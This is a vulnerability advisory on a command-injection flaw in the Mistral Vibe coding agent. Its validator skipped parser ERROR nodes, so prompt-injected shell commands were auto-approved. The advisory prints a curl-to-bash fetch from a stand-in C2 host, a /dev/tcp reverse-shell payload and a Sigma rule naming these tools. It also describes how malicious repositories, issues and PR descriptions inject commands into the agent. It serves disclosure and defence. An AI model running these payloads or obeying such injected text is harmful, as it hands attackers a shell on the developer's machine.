CVE-2026-87986: Mistral Vibe Command Injection via Parser Syntax Error Node Bypass
HERMES THREAT SCORE & PARSER MISMATCH ARBITRARY EXECUTION
Target:Mistral Vibe Coding Agent (mistral-vibe) CVSS v4.0 evaluates CVE-2026-87986 at a maximum 10.0 (Critical, CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H). The Hermes Threat Score assesses this vulnerability at 98 (CRITICAL). This reflects parser differential vulnerabilities where grammar edge-cases generate AST ERROR nodes that are silently disregarded by security gates while executing legitimately in the underlying shell.
CVE-2026-87986: Mistral Vibe Command Injection via Parser Syntax Error Node BypassVULNERABILITY
Software platform affected by security vulnerabilities and agentic attack patterns.
๐ Why is this related? (Evidence & Provenance)
“Confirmed security vulnerability in Mistral Vibe Coding Agent documented in Hermes dossier.”
- [vulnerability_report]
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)
Adversary embeds covert payload instructions into retrieved external data (web pages, repositories, emails) that subvert model planning when parsed by autonomous agents.
๐ Why is this related? (Evidence & Provenance)
“CVE-2026-87986 weaponizes the agentic attack pattern formalized under AAP-002.”
- [technical_analysis]Pillar Security demonstrated that executing export BASH_ENV in Auto-Run causes bash to source hostile payloads upon subsequent commands. — Source: Pillar Security Research: Bypassing Cursor Auto-Run: When Shell Built-ins Lead to Host RCE (Reliability: HIGH)
Adversarial subversion of structured tool execution arguments (SQL, Shell, Filepath) passed from an LLM agent to host OS tools or MCP endpoints.
๐ Why is this related? (Evidence & Provenance)
“CVE-2026-87986 weaponizes the agentic attack pattern formalized under AAP-003.”
- [technical_analysis]Pillar Security demonstrated that executing export BASH_ENV in Auto-Run causes bash to source hostile payloads upon subsequent commands. — Source: Pillar Security Research: Bypassing Cursor Auto-Run: When Shell Built-ins Lead to Host RCE (Reliability: HIGH)
Adversary injects explicit formatting tags or role-inversion prompts directly into user input to strip system instructions and escape developer-enforced guardrails.
๐ Why is this related? (Evidence & Provenance)
“CVE-2026-87986 weaponizes the agentic attack pattern formalized under AAP-001.”
- [technical_analysis]Pillar Security demonstrated that executing export BASH_ENV in Auto-Run causes bash to source hostile payloads upon subsequent commands. — Source: Pillar Security Research: Bypassing Cursor Auto-Run: When Shell Built-ins Lead to Host RCE (Reliability: HIGH)
1. Technical Context & Affected Software Matrix
Section titled โ1. Technical Context & Affected Software Matrixโ| Parameter | Technical Specification | Threat Intelligence Context |
|---|---|---|
| CVE Identifier | CVE-2026-87986 | Discovered by Esteban Tonglet (HiddenLayer) |
| Common Weakness Enumeration | CWE-228 (Syntactically Invalid Structure Handling), CWE-78 (Command Injection) | Disregard of parser ERROR nodes during security evaluation |
| Attack Vector | Indirect Prompt Injection (AAP-002) / AAP-003 | Cloned repositories, malicious issues, PR descriptions |
| Vulnerable Component | AST traversal validator (vibe syntax gate) | Ignores AST subtrees rooted in ERROR nodes |
| Affected Versions | mistral-vibe < 1.1.0 | All default installations |
| Remediated Version | vibe >= 1.1.0 | Immediately rejects or prompts on any AST ERROR node |
| Systemic Impact | Unauthenticated full remote code execution on developer host | Complete security perimeter collapse |
2. In-Depth Technical Decomposition & Root Cause
Section titled โ2. In-Depth Technical Decomposition & Root CauseโA. Parser Differential Vulnerabilities (Tree-Sitter vs. Bash)
Section titled โA. Parser Differential Vulnerabilities (Tree-Sitter vs. Bash)โGrammar definitions in static parsing libraries like tree-sitter-bash rarely achieve 100% equivalence with production shell implementations. When tree-sitter encounters an unexpected character sequence, it enters error-recovery mode, producing an ERROR AST node for the segment:
program โโโ command: "echo" โ โโโ argument: "hello" โโโ ERROR <--- tree-sitter-bash fails to parse construct cleanly โโโ [malicious embedded shell command: $(curl http://c2.example/sh | bash)]B. Fail-Open Error Handling in Vibe
Section titled โB. Fail-Open Error Handling in VibeโIn Mistral Vibe pre-1.1.0, the validator inspected the command tree by iterating over expected node types:
# Vulnerable AST validation logic in Mistral Vibe (pre-1.1.0)def inspect_ast_node(node): if node.type == "command": check_command_allowed(node) elif node.type in ("word", "string"): check_path_arguments(node) # FLAW: If node.type == "ERROR", it does NOT fail closed! # The validator simply skips the node or continues to sibling nodes!Because the security logic did not implement a strict fail-closed policy, the presence of an ERROR node did not abort the command or force an interactive user prompt. Instead, the validation engine saw only the preceding or adjacent harmless command (e.g. echo hello), validated it as safe, and auto-approved the entire command string for Bash execution.
3. Attack Flow & Weaponization Scenarios
Section titled โ3. Attack Flow & Weaponization ScenariosโsequenceDiagram autonumber actor Attacker as Malicious Repo Author participant Agent as Mistral Vibe Agent participant TS as tree-sitter-bash Parser participant Gate as Vibe Security Gate participant Bash as Host Shell
Attacker->>Agent: Prompt injection with crafted syntax anomaly (AAP-002) Agent->>TS: Parses complex malformed command payload TS-->>Gate: Emits AST with 'ERROR' node containing subshell payload Gate->>Gate: Evaluates AST: ignores 'ERROR' node content Note over Gate: Seen commands: 'echo' (SAFE). Auto-approved! Gate->>Bash: Executes raw string Bash->>Bash: Bash parses and executes full command including subshell Bash->>Attacker: Payloads execute with developer user privileges!Weaponized Payloads
Section titled โWeaponized PayloadsโBy crafting syntactic constructs that confuse tree-sitter-bashโs lookahead while remaining valid in GNU Bash, an attacker can embed arbitrary commands:
# Crafted construct triggering an ERROR node in tree-sitter-bash:echo "test" ; { (:; id; /bin/bash -i >& /dev/tcp/10.0.0.1/1337 0>&1); }The coding agent executes the command without human intervention, leading to full shell access.
4. Detection, Threat Hunting & DFIR Playbooks
Section titled โ4. Detection, Threat Hunting & DFIR PlaybooksโA. Sigma Detection Rule
Section titled โA. Sigma Detection Ruleโtitle: Mistral Vibe Parser Error Node Shell Injectionid: 87986001-vibe-parser-error-rcestatus: experimentaldescription: Detects unusual shell compound commands executed by Mistral Vibe that exploit parser differential bypasses.references: - https://blog.marcfredericgomez.fr/six-contournements-de-permissions-sur-mistral-vibe/author: Hermes Codex Cyber Defense Teamlogsource: category: process_creation product: linuxdetection: selection_vibe: CommandLine|contains: 'vibe' selection_anomaly: CommandLine|re: '\{\s*\(\s*[:;].*id|whoami|curl|bash\s+-i' condition: selection_vibe and selection_anomalylevel: critical5. Defense, Hardening & Remediation
Section titled โ5. Defense, Hardening & Remediationโ- Apply Official Patch: Upgrade to
vibe >= 1.1.0. The patched validator adopts a strict fail-closed architecture: any parse tree containing anERRORnode immediately triggers a mandatory user confirmation prompt. - Grammar Parity Testing: When using static AST parsers for security-critical access control, verify grammar coverage against fuzzing corpuses.
- Execution Sandboxing: Run coding agents inside rootless containers or gVisor sandboxes to mitigate command injection risks.
- Deploy AgentThreat Studio Protections: Employ behavioral runtime monitors from AgentThreat Studio covering AAP-001: Context Boundary Violation and AAP-003: Tool Parameter Tampering.
6. Related Vulnerabilities & Cross-References
Section titled โ6. Related Vulnerabilities & Cross-Referencesโ- CVE-2026-87983: Arbitrary File Read via Quoted Absolute Paths
- CVE-2026-87984: Arbitrary File Write via Shell Redirection Target Omission
- CVE-2026-87985: Remote Code Execution via ANSI-C Quoting in
find -exec - CVE-2026-87987: RCE via Environment Variable Assignment Stripping
- CVE-2026-87988: Arbitrary Read/Write via Auto-Approved Command Discrepancies
- AAP-001: Context Boundary Violation
- AAP-002: Indirect Context Injection
- AAP-003: Tool Parameter Tampering